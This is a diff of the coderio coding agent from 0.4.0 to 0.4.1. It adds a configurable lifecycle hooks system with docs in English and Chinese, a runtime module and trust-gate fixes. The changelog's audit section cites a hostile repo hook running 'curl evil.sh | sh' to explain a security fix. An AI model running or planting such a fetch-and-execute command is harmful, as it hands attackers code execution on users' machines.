coderio 0.4.0__tar.gz → 0.4.1__tar.gz

{coderio-0.4.0 → coderio-0.4.1}/CHANGELOG.md

@@ -6,6 +6,69 @@ All notable changes to coderio are documented here. The format follows
 `pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
 `importlib.metadata`.
 
+## [0.4.1] — 2026-08-17
+
+### Added
+- **Hooks system (v1)**: user-configurable lifecycle hooks via `[[hooks]]`
+  array tables in config.toml. Five events — SessionStart (once per session,
+  resume included), UserPromptSubmit (reject or inject context), PreToolUse
+  (deny), PostToolUse (append feedback), Stop (notification-only). IO contract
+  follows the Claude Code / ZCode / Codex interop core: event JSON on stdin,
+  exit 0 = pass (stdout injects context for prompt/session events, 10k cap),
+  exit 2 = block with stderr as the reason, anything else = fail-open.
+  `$CODERIO_PROJECT_DIR` env var; Git Bash preferred on Windows; default
+  timeout 60s (timeout/crash fail-open — hooks are extensibility glue, not a
+  security boundary; hard policy stays with permissions + blacklist).
+  PreToolUse/PostToolUse ride a new HooksMiddleware inserted OUTERMOST (before
+  Harness/Permission/CommandReview) so a hook can deny before the permission
+  prompt appears and observes exactly the args the chain sees. Hooks in
+  repo-level config.toml automatically ride the existing repo-config trust
+  gate — no separate trust flow. Serial execution (first blocker's reason
+  wins; all hooks still run for their side effects). New module
+  `agent/hooks.py`. v1 non-goals documented: SessionEnd (no injection point),
+  Notification/SubagentStop/PreCompact, updatedInput rewriting, hook-allow
+  bypassing permission prompts, parallel execution. POSIX hook subprocesses
+  get their own process group (a hook timeout would otherwise SIGKILL the
+  agent itself — caught by the CI OS matrix, invisible on Windows).
+  (Shipped after the v0.4.0 tag; +20 tests incl. real-subprocess semantics,
+  a `coderio run` end-to-end, and post-v3 seam tests.)
+
+### Fixed — 2026-08-14 v3 audit (2 P0 + 4 P1, all verified with the report's repro scripts)
+- **P0 · hooks: tool-event hooks from a real config.toml always crashed.** Two
+  classes named HookSpec existed — config/models.py's (a plain dataclass,
+  no .matches()) and agent/hooks.py's (the runtime class). The loader produced
+  the former; HookRunner.fire called .matches() on it → AttributeError on every
+  PreToolUse/PostToolUse hook, the exact scenario the README leads with. All 20
+  in-module tests stayed green because they imported the runtime class
+  directly — the config↔runtime seam had zero coverage. Fix: models.HookSpec
+  deleted; _parse_hooks produces agent.hooks.HookSpec (single source of truth);
+  +2 SEAM tests (load_config → HookRunner.fire → assert blocked) that fail with
+  the same AttributeError if a duplicate class ever reappears.
+- **P0 · trust gate bypassed when launching from a subdirectory.** The gate
+  checked one directory (anchored on .coderio/config.toml) while mcp_loader
+  walks UP for .mcp.json independently — a repo whose root had ONLY .mcp.json
+  + launching from any subdirectory skipped the gate entirely while the server
+  still loaded. Fix: trust discovery now mirrors the loaders (per-file upward
+  walk, same stop conditions); the principle "trust scope ⊇ load scope" is
+  enforced. Trust confirmed once at any depth covers the whole repo (store
+  keys by discovered root). +2 tests incl. the report's exact bypass scenario.
+- **P1 · trust summary blind-signed hooks**: the confirmation prompt showed
+  only ".coderio/config.toml (76 bytes)" while a hook ran "curl evil.sh | sh"
+  — hooks are the repo's most direct RCE surface and were invisible. The
+  summary now echoes every line mentioning command/hooks/args/env, and MCP
+  entries show args + env key names (values not leaked). +2 tests.
+- **P1 · hook errors were silently swallowed**: HookOutcome.error had zero
+  consumers — a broken hook (exit 127) was invisible. fire() now logs a
+  warning whenever error is non-empty.
+- **P1 · a hook-layer exception could break the turn**: HookRunner.fire wraps
+  the whole dispatch loop in try/except (fail-open, consistent with the
+  module's stated positioning) — covers both middleware and turn-level paths.
+- **P2 · headless run could lose the final answer**: non-quiet mode relied
+  solely on the token stream; a non-streamed final message vanished. The
+  final result is now always printed (after a separator in non-quiet mode).
+
+## [Unreleased]
+
 ## [0.4.0] — 2026-08-17
 
 ### Added

{coderio-0.4.0 → coderio-0.4.1}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.5
 Name: coderio
-Version: 0.4.0
+Version: 0.4.1
 Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
 Author: coderio contributors
 License-Expression: MIT
@@ -283,6 +283,39 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
 - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
 - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
 
+**Hooks** (user lifecycle hooks, v1):
+
+Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
+
+```toml
+# Protect sensitive files: block writes to .env
+[[hooks]]
+event = "PreToolUse"                    # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
+matcher = "write_file|edit_file"       # regex on tool name (tool events only); empty = all
+command = "python .hooks/protect.py"   # receives the event JSON on stdin; exit 2 = block
+timeout = 30                           # seconds, default 60
+
+# Auto-format after every file write
+[[hooks]]
+event = "PostToolUse"
+matcher = "write_file|edit_file"
+command = "jq -r .tool_input.file_path | xargs prettier --write"
+
+# Inject project conventions at session start
+[[hooks]]
+event = "SessionStart"
+command = "cat .hooks/conventions.txt"
+```
+
+**IO contract**:
+- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
+- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
+- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
+
+**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
+
+**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt, parallel execution (v1 is serial; with multiple hooks the first blocker's reason wins but all hooks run).
+
 Supported providers:
 | provider_id | Description | Protocol |
 |---|---|---|

{coderio-0.4.0 → coderio-0.4.1}/README.md

@@ -238,6 +238,39 @@ deny_write = [".git/hooks"]  # workspace 内也强制只读
 - 白名单降级：CONFIRM/AUTO_EDIT 模式下白名单外的命令**会执行但 result 里会带 `[whitelist]` 标注**（让模型/用户知道该命令不在受信集合里）；PLAN 模式硬拒；FULL 模式放行不标注。
 - 对于**完全不可信的代码**，仍建议用 VM（Windows Sandbox / Docker），不依赖本沙箱。
 
+**Hooks**（用户自定义生命周期钩子，v1）：
+
+在 config.toml 里用 `[[hooks]]` 数组表注册 shell 命令，在 agent 生命周期的固定点位执行。配置/IO 契约对齐 Claude Code / ZCode / Codex 的互操作核心，已有 hook 脚本可直接移植：
+
+```toml
+# 敏感文件保护：写 .env 前拦截
+[[hooks]]
+event = "PreToolUse"                    # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
+matcher = "write_file|edit_file"       # 正则匹配工具名（仅工具事件）；空 = 全部
+command = "python .hooks/protect.py"   # stdin 收 JSON 事件；exit 2 = 阻断
+timeout = 30                           # 秒，默认 60
+
+# 每次写文件后自动格式化
+[[hooks]]
+event = "PostToolUse"
+matcher = "write_file|edit_file"
+command = "jq -r .tool_input.file_path | xargs prettier --write"
+
+# 会话开始注入项目约定
+[[hooks]]
+event = "SessionStart"
+command = "cat .hooks/conventions.txt"
+```
+
+**IO 契约**：
+- **stdin**：一行 JSON——公共字段 `session_id`/`cwd`/`permission_mode`/`hook_event_name` + 事件专属（PreToolUse 带 `tool_name`+`tool_input`；UserPromptSubmit 带 `prompt`；PostToolUse 带 `tool_response`）
+- **exit code**：`0` = 放行（UserPromptSubmit/SessionStart 的 stdout 注入上下文，上限 10k 字符）；`2` = **阻断**（stderr 作为理由喂给模型）；其他 = **fail-open** 放行 + 警告
+- **环境变量**：`$CODERIO_PROJECT_DIR` 恒可用；Windows 优先 Git Bash
+
+**诚实定位**：hooks 是**扩展点不是安全边界**——超时/崩溃/非 2 退出码都 fail-open（一个坏 hook 绝不能搞死 agent loop）。硬策略请用权限审批 + 命令黑名单。项目级 hooks 写在 config.toml 里，自动被仓库信任门覆盖（克隆恶意仓库不会静默执行其 hooks）。
+
+**v1 事件集与不做的事**：SessionStart（每 session 一次，含 resume）/ UserPromptSubmit（可拒绝可注入）/ PreToolUse（可 deny）/ PostToolUse（追加反馈）/ Stop（通知型，不与 harness 续跑冲突）。不做：SessionEnd（无注入点）、Notification/SubagentStop/PreCompact、`updatedInput` 参数改写、hook allow 跳过权限弹窗、并行执行（v1 串行，多 hook 第一个 blocker 生效但全部执行）。
+
 支持的 provider：
 | provider_id | 说明 | 协议 |
 |---|---|---|

{coderio-0.4.0 → coderio-0.4.1}/README_en.md

@@ -238,6 +238,39 @@ Paths support `~` (home), `./` or bare (workspace-relative), `/abs` (absolute).
 - Whitelist degradation: in CONFIRM/AUTO_EDIT modes, commands outside the whitelist **run but carry a `[whitelist]` annotation** in the result (so the model/user knows the command is outside the trusted set); PLAN hard-rejects; FULL allows silently.
 - For **fully untrusted code**, use a VM (Windows Sandbox / Docker) — do not rely on this sandbox.
 
+**Hooks** (user lifecycle hooks, v1):
+
+Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
+
+```toml
+# Protect sensitive files: block writes to .env
+[[hooks]]
+event = "PreToolUse"                    # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
+matcher = "write_file|edit_file"       # regex on tool name (tool events only); empty = all
+command = "python .hooks/protect.py"   # receives the event JSON on stdin; exit 2 = block
+timeout = 30                           # seconds, default 60
+
+# Auto-format after every file write
+[[hooks]]
+event = "PostToolUse"
+matcher = "write_file|edit_file"
+command = "jq -r .tool_input.file_path | xargs prettier --write"
+
+# Inject project conventions at session start
+[[hooks]]
+event = "SessionStart"
+command = "cat .hooks/conventions.txt"
+```
+
+**IO contract**:
+- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
+- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
+- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
+
+**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
+
+**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt, parallel execution (v1 is serial; with multiple hooks the first blocker's reason wins but all hooks run).
+
 Supported providers:
 | provider_id | Description | Protocol |
 |---|---|---|

{coderio-0.4.0 → coderio-0.4.1}/pyproject.toml

@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "coderio"
-version = "0.4.0"
+version = "0.4.1"
 description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
 readme = "README_en.md"
 license = "MIT"
@@ -166,6 +166,10 @@ select = ["E", "F", "W", "I", "S"]
 # S603 — the LocalShellBackend override runs model-generated bash commands;
 # executing them IS the tool's purpose (same rationale as tools/bash.py).
 "src/coderio/agent/deep_loop.py" = ["S602", "S603"]
+# Hooks: S603 — hook commands come from the user's TOML config (trusted
+# project settings, like skills_cmd.py's git clone), not arbitrary model
+# input. Executing them IS the hooks feature's purpose.
+"src/coderio/agent/hooks.py" = ["S603"]
 # Sandbox modules: S602/S603 — running arbitrary subprocess commands IS the
 # sandbox's entire purpose. The sandbox itself (bubblewrap namespace isolation
 # on Linux, Restricted Token + Job Object on Windows) is the security boundary,

{coderio-0.4.0 → coderio-0.4.1}/src/coderio/agent/deep_loop.py

@@ -438,6 +438,7 @@ def run_deep_agent(
     network_allowed: bool = True,
     fs_config=None,
     bash_shell: str = "",
+    hooks: list | None = None,
 ) -> str:
     """Run a deepagents-backed agent turn (coderio's production engine).
 
@@ -476,10 +477,52 @@ def run_deep_agent(
 
     neutralize_base_prompt()
 
+    # --- User hooks (agent/hooks.py): turn-level events fire here, tool-level
+    # events ride HooksMiddleware below. All fail-open except explicit exit 2.
+    from coderio.agent.hooks import HookRunner
+
+    project_dir = str(Path(workdir).resolve() if workdir else Path.cwd())
+    hook_runner = HookRunner(
+        hooks or [],
+        project_dir=project_dir,
+        session_id=session.id,
+        permission_mode=getattr(gate, "mode", "") if gate is not None else "",
+    )
+
+    # SessionStart (once per session id, lazy — covers resume): stdout injects
+    # context into THIS turn's user message.
+    if hook_runner.has_event("SessionStart") and session.id not in HookRunner._sessions_started:
+        HookRunner._sessions_started.add(session.id)
+        ss = hook_runner.fire("SessionStart", {"source": "startup", "model": getattr(model, "model_name", "")})
+        if ss.context:
+            user_input = f"{user_input}\n\n[hook context]\n{ss.context}"
+
+    # UserPromptSubmit: BEFORE session.append so a block leaves the session
+    # clean, and injected context lands in both the persisted message and the
+    # model input.
+    if hook_runner.has_event("UserPromptSubmit"):
+        prompt_text = user_input if isinstance(user_input, str) else str(user_input)
+        ups = hook_runner.fire("UserPromptSubmit", {"prompt": prompt_text})
+        if ups.blocked:
+            session.append(Message.user(prompt_text))
+            session.append(Message.assistant(f"Prompt rejected by hook: {ups.reason}"))
+            if hasattr(stream, "on_finish"):
+                stream.on_finish()
+            return f"Prompt rejected by hook: {ups.reason}"
+        if ups.context:
+            user_input = f"{prompt_text}\n\n[hook context]\n{ups.context}"
+
     session.append(Message.user(user_input))
 
     sp = _resolve_system_prompt(system_prompt, skill_store, active_skills)
-    middleware = [HarnessMiddleware(stream=stream, enabled=harness_enabled)]
+    # HooksMiddleware OUTERMOST: PreToolUse can deny before the permission
+    # prompt appears, and observes the exact args the rest of the chain sees.
+    middleware: list[Any] = []
+    if hook_runner.specs:
+        from coderio.agent.hooks import HooksMiddleware
+
+        middleware.append(HooksMiddleware(hook_runner))
+    middleware.append(HarnessMiddleware(stream=stream, enabled=harness_enabled))
     if gate is not None:
         middleware.append(PermissionMiddleware(gate))
     # Command-content review: always active (even in FULL mode). Blocks rm -rf /,
@@ -550,6 +593,15 @@ def run_deep_agent(
             except Exception:  # noqa: S110
                 pass
 
+    # Stop event (notification-only v1): the harness owns force-continue, so a
+    # user Stop hook observes the turn end but cannot extend it. stdout is
+    # ignored; exit 2 is logged — blocking here would fight the harness gates.
+    if hook_runner.has_event("Stop"):
+        try:
+            hook_runner.fire("Stop", {"last_assistant_message": final_text[:2000]})
+        except Exception as e:  # noqa: BLE001 — never let a hook break turn completion
+            _log.warning("Stop hook failed (ignored): %s", e)
+
     if hasattr(stream, "on_finish"):
         stream.on_finish()
     if hasattr(stream, "on_turn_end"):

coderio-0.4.1/src/coderio/agent/hooks.py

@@ -0,0 +1,312 @@
+"""User-configurable hooks as a deepagents AgentMiddleware + turn-level events.
+
+Lets users run their own shell commands at well-defined points of the agent
+lifecycle — "reformat every file after Edit", "block writes to .env", "inject
+project conventions at session start". The config/IO contract follows the
+Claude Code / ZCode / Codex interop core so existing hook scripts port over:
+
+  - Events (v1): SessionStart, UserPromptSubmit, PreToolUse, PostToolUse, Stop
+  - stdin: one JSON object with session/cwd/event fields (+ event-specific ones)
+  - exit codes: 0 = pass (stdout may inject context for prompt/session events),
+    2 = BLOCKING (stderr becomes the reason fed to the model), other = fail-open
+  - matcher: regex matched against the tool name (tool events only)
+
+SECURITY POSITIONING (documented in README too): hooks are an EXTENSIBILITY
+point, not a security boundary. Timeout/crash/non-2 failures are FAIL-OPEN —
+a dead hook must never brick the agent loop. Hard policy belongs to the
+permission gate + command blacklist; hooks are for workflow glue. Repo-level
+hooks live in config.toml, which the repo-config trust gate (config/trust.py)
+already covers — cloning a hostile repo does not silently run its hooks.
+
+Architecture: PreToolUse/PostToolUse ride a middleware inserted OUTERMOST
+(before Harness/Permission/CommandReview) so a hook can deny a call before
+the permission prompt appears, and observes exactly the args the rest of the
+chain will see. SessionStart/UserPromptSubmit/Stop are turn-level and are
+fired directly from run_deep_agent.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import re
+import subprocess
+import sys
+from dataclasses import dataclass
+from typing import Any
+
+from langchain.agents.middleware.types import AgentMiddleware
+from langchain_core.messages import ToolMessage
+
+_log = logging.getLogger(__name__)
+
+# v1 event set: the intersection of Claude Code / ZCode / Codex events, plus
+# Stop. SessionEnd has no injection point (TUI exits without a hook call —
+# v2 candidate). Notification/SubagentStop/PreCompact deliberately deferred.
+HOOK_EVENTS = frozenset({"SessionStart", "UserPromptSubmit", "PreToolUse", "PostToolUse", "Stop"})
+
+# Tool events are the only ones where a matcher against the tool name makes sense.
+_TOOL_EVENTS = frozenset({"PreToolUse", "PostToolUse"})
+
+DEFAULT_TIMEOUT = 60  # seconds; generous for linters, short enough not to brick a turn
+
+# stdout beyond this is dropped rather than injected (context budget guard).
+_MAX_CONTEXT_CHARS = 10_000
+
+
+@dataclass
+class HookOutcome:
+    """Aggregated result of firing one event (all matching hooks, serially).
+
+    blocked=True means at least one hook exited 2 — for PreToolUse the caller
+    denies the tool call; for UserPromptSubmit the prompt is rejected. context
+    carries pass-through stdout (SessionStart/UserPromptSubmit injection).
+    error carries fail-open diagnostics (non-blocking, logged + surfaced).
+    """
+
+    blocked: bool = False
+    reason: str = ""
+    context: str = ""
+    error: str = ""
+
+
+@dataclass
+class HookSpec:
+    """One [[hooks]] entry from config.toml."""
+
+    event: str
+    command: str
+    matcher: str = ""  # regex against tool_name; "" matches all. Tool events only.
+    timeout: int = DEFAULT_TIMEOUT
+
+    def compiled_matcher(self) -> re.Pattern | None:
+        """None = match everything; invalid regex = never match (not crash)."""
+        if not self.matcher:
+            return None
+        try:
+            return re.compile(self.matcher)
+        except re.error:
+            _log.warning("hook matcher %r is not a valid regex — hook never fires", self.matcher)
+            return re.compile(r"(?!x)x")  # unmatchable
+
+    def matches(self, tool_name: str) -> bool:
+        rx = self.compiled_matcher()
+        return rx is None or rx.search(tool_name) is not None
+
+
+class HookRunner:
+    """Loads [[hooks]] specs and fires events by running shell commands.
+
+    One instance per run_deep_agent call (cheap); turn-level events share it
+    with the middleware. SessionStart dedup lives at CLASS level: a fresh
+    runner is built every turn, so instance state can't remember which
+    sessions already fired (resume included by design — the lazy fire happens
+    on the first turn of any loaded session).
+    """
+
+    # session ids that have already fired SessionStart (process-lifetime).
+    _sessions_started: set[str] = set()
+
+    def __init__(
+        self, specs: list[HookSpec] | None, project_dir: str, session_id: str = "", permission_mode: str = ""
+    ) -> None:
+        self.specs = [s for s in (specs or []) if s.event in HOOK_EVENTS]
+        self.project_dir = project_dir
+        self.session_id = session_id
+        self.permission_mode = permission_mode
+
+    def has_event(self, event: str) -> bool:
+        return any(s.event == event for s in self.specs)
+
+    def fire(self, event: str, payload: dict[str, Any]) -> HookOutcome:
+        """Run every matching hook for the event, serially, merging outcomes.
+
+        Serial by design (v1): Claude Code's parallel execution makes
+        multi-hook semantics non-deterministic; determinism wins for a coding
+        agent. First blocker wins; later hooks still run (their side effects
+        are the point — e.g. logging — even when the event is already denied).
+        """
+        tool_name = str(payload.get("tool_name", ""))
+        outcome = HookOutcome()
+        try:
+            for spec in self.specs:
+                if spec.event != event:
+                    continue
+                if event in _TOOL_EVENTS and not spec.matches(tool_name):
+                    continue
+                self._run_one(spec, event, payload, outcome)
+        except Exception as e:  # noqa: BLE001 — a hook-layer bug must never break the turn
+            outcome.error += f"hook engine error (fail-open): {e}; "
+        # CONSUME the error (2026-08-14 v3 audit P1): a broken hook (missing
+        # script → exit 127, bad interpreter, etc.) must be visible to the
+        # user, not silently swallowed — the outcome.error field previously
+        # had zero consumers anywhere in the codebase.
+        if outcome.error:
+            _log.warning("hooks[%s]: %s", event, outcome.error.strip())
+        return outcome
+
+    # ------------------------------------------------------------------ execution
+
+    def _run_one(self, spec: HookSpec, event: str, payload: dict[str, Any], outcome: HookOutcome) -> None:
+        stdin_json = json.dumps(
+            {
+                "session_id": self.session_id,
+                "cwd": self.project_dir,
+                "permission_mode": self.permission_mode,
+                "hook_event_name": event,
+                **payload,
+            },
+            default=str,
+        )
+        try:
+            exit_code, stdout, stderr, timed_out = self._spawn(spec, stdin_json)
+        except Exception as e:  # noqa: BLE001 — a broken hook must never crash the agent
+            outcome.error += f"hook {spec.command!r} failed to run: {e} (fail-open); "
+            return
+
+        if timed_out:
+            outcome.error += f"hook {spec.command!r} timed out after {spec.timeout}s (fail-open); "
+            return
+
+        # New names, not reusing stdout/stderr: mypy pins a variable's type to
+        # its first binding (bytes from _spawn), so rebinding to str is an error.
+        out_text = stdout.decode("utf-8", errors="replace")
+        err_text = stderr.decode("utf-8", errors="replace")
+
+        if exit_code == 2:
+            # Blocking error: stderr (or stdout) is the reason for the model.
+            # First blocker wins (subsequent blockers still RUN — their side
+            # effects matter — but don't clobber the first reason).
+            outcome.blocked = True
+            if not outcome.reason:
+                reason = (err_text.strip() or out_text.strip())[:_MAX_CONTEXT_CHARS]
+                outcome.reason = reason or "blocked by hook (no reason given)"
+            return
+        if exit_code != 0:
+            # Fail-open: log + surface, never block. This is the documented
+            # trade-off — hooks are glue, not a security boundary.
+            detail = (err_text.strip() or out_text.strip())[:200]
+            outcome.error += f"hook {spec.command!r} exited {exit_code} (fail-open){': ' + detail if detail else ''}; "
+            return
+        # exit 0: stdout may inject context for prompt/session events.
+        if event in ("UserPromptSubmit", "SessionStart") and out_text.strip():
+            text = out_text.strip()
+            if len(text) > _MAX_CONTEXT_CHARS:
+                _log.warning("hook stdout exceeded %d chars — context dropped", _MAX_CONTEXT_CHARS)
+            else:
+                outcome.context += ("\n" if outcome.context else "") + text
+
+    def _spawn(self, spec: HookSpec, stdin_json: str) -> tuple[int, bytes, bytes, bool]:
+        """Run the hook command with JSON on stdin. Returns (exit_code, stdout, stderr, timed_out).
+
+        On Windows prefers Git Bash (via detect_shell, same as the bash tool)
+        so POSIX-style commands behave; POSIX uses /bin/sh. Timeout kills the
+        whole process tree (kill_process_tree) so piped children don't linger.
+        """
+        import os
+
+        from coderio.tools.win_job import kill_process_tree
+
+        argv: list[str]
+        if sys.platform == "win32":
+            try:
+                from coderio.tools.bash import detect_shell
+
+                argv = [detect_shell(""), "-c", spec.command]
+            except FileNotFoundError:
+                argv = ["cmd", "/c", spec.command]
+        else:
+            argv = ["/bin/sh", "-c", spec.command]
+
+        env = dict(os.environ)
+        env["CODERIO_PROJECT_DIR"] = self.project_dir
+
+        # POSIX: the hook MUST get its own process group (start_new_session) —
+        # kill_process_tree's POSIX branch kills via os.killpg, and without a
+        # separate session the child shares OUR group, so a hook timeout would
+        # SIGKILL the agent itself (caught by the Linux/macOS CI matrix after
+        # the Windows-only local run passed; bash.py:242 has the same guard).
+        proc = subprocess.Popen(
+            argv,
+            stdin=subprocess.PIPE,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            cwd=self.project_dir,
+            env=env,
+            start_new_session=(sys.platform != "win32"),
+        )
+        try:
+            stdout, stderr = proc.communicate(input=stdin_json.encode("utf-8"), timeout=spec.timeout)
+            return proc.returncode, stdout or b"", stderr or b"", False
+        except subprocess.TimeoutExpired:
+            kill_process_tree(proc)
+            try:
+                proc.communicate(timeout=10)
+            except Exception:  # noqa: S110 — the kill already ran; drain best-effort
+                pass
+            return 124, b"", b"", True
+
+
+class HooksMiddleware(AgentMiddleware):
+    """PreToolUse / PostToolUse as the OUTERMOST middleware.
+
+    Inserted before Harness/Permission/CommandReview (see run_deep_agent): a
+    hook deny happens before the permission prompt can bother the user, and
+    hooks observe exactly the args the rest of the chain will see. A deny
+    returns a synthetic ToolMessage (same short-circuit shape as
+    PermissionMiddleware) so the model learns why and can react.
+    """
+
+    def __init__(self, runner: HookRunner) -> None:
+        self.runner = runner
+
+    def wrap_tool_call(self, request, handler):
+        tc = getattr(request, "tool_call", None) or {}
+        name = tc.get("name", "")
+        args = dict(tc.get("args", {}) or {})
+        tool_call_id = tc.get("id", "")
+
+        pre = self.runner.fire("PreToolUse", {"tool_name": name, "tool_input": args, "tool_use_id": tool_call_id})
+        if pre.blocked:
+            return ToolMessage(
+                content=f"Blocked by hook: {pre.reason}",
+                tool_call_id=tool_call_id,
+                name=name,
+            )
+
+        result = handler(request)
+
+        post = self.runner.fire(
+            "PostToolUse",
+            {
+                "tool_name": name,
+                "tool_input": args,
+                "tool_use_id": tool_call_id,
+                "tool_response": _result_to_text(result),
+            },
+        )
+        # PostToolUse can't undo the executed tool; exit 2 appends feedback so
+        # the model sees it alongside the real result (Claude Code semantics).
+        if post.blocked:
+            note = f"\n[hook] {post.reason}"
+            content = getattr(result, "content", None)
+            if isinstance(content, str):
+                result.content = content + note
+            elif isinstance(result, str):
+                result = result + note
+            else:
+                out = getattr(result, "output", None)
+                if isinstance(out, str):
+                    result.output = out + note
+        return result
+
+
+def _result_to_text(result: Any) -> str:
+    """Best-effort text extraction from ToolMessage / ExecuteResponse / str."""
+    for attr in ("content", "output"):
+        v = getattr(result, attr, None)
+        if isinstance(v, str):
+            return v
+    if isinstance(result, str):
+        return result
+    return str(result)

{coderio-0.4.0 → coderio-0.4.1}/src/coderio/cli/run_cmd.py

@@ -78,7 +78,6 @@ def run_headless(
     import typer
 
     from coderio.config.bootstrap import ensure_user_dirs
-    from coderio.config.loader import _find_project_dir
     from coderio.config.trust import existing_repo_configs, is_repo_trusted
 
     ensure_user_dirs()
@@ -101,11 +100,13 @@ def run_headless(
     # untrusted repo config is a hard error (prompting would hang headless
     # runs). The user confirms once via interactive `coderio`, then this
     # passes forever (until the repo config content changes).
+    # search_from-based discovery (v3 audit P0): walks up per-file like the
+    # loaders, so a repo whose root only has .mcp.json can't slip past by
+    # launching from a subdirectory.
     user_dir = Path.home() / ".coderio"
-    project_dir = _find_project_dir(Path(".").resolve())
-    if existing_repo_configs(project_dir) and not is_repo_trusted(project_dir, user_dir):
+    if existing_repo_configs(".") and not is_repo_trusted(".", user_dir):
         typer.secho(
-            f"This repository has untrusted coderio config ({project_dir}).\n"
+            "This repository has untrusted coderio config.\n"
             "Run interactive `coderio` once in this directory and confirm the "
             "config, then retry `coderio run`.",
             err=True,
@@ -166,6 +167,13 @@ def run_headless(
         network_allowed=cfg.tools.network_allowed,
         fs_config=cfg.tools.sandbox_fs,
         bash_shell=cfg.tools.bash_shell,
+        hooks=cfg.hooks,
     )
+    # Always print the final result (v3 audit P2): in non-quiet mode the token
+    # stream already showed it, but a non-streamed final message would be lost
+    # without this — and scripts parsing stdout need exactly one final line.
+    # --quiet relies on this print alone; non-quiet gets it after a separator.
     if quiet:
         print(final)
+    else:
+        print(f"\n{final}")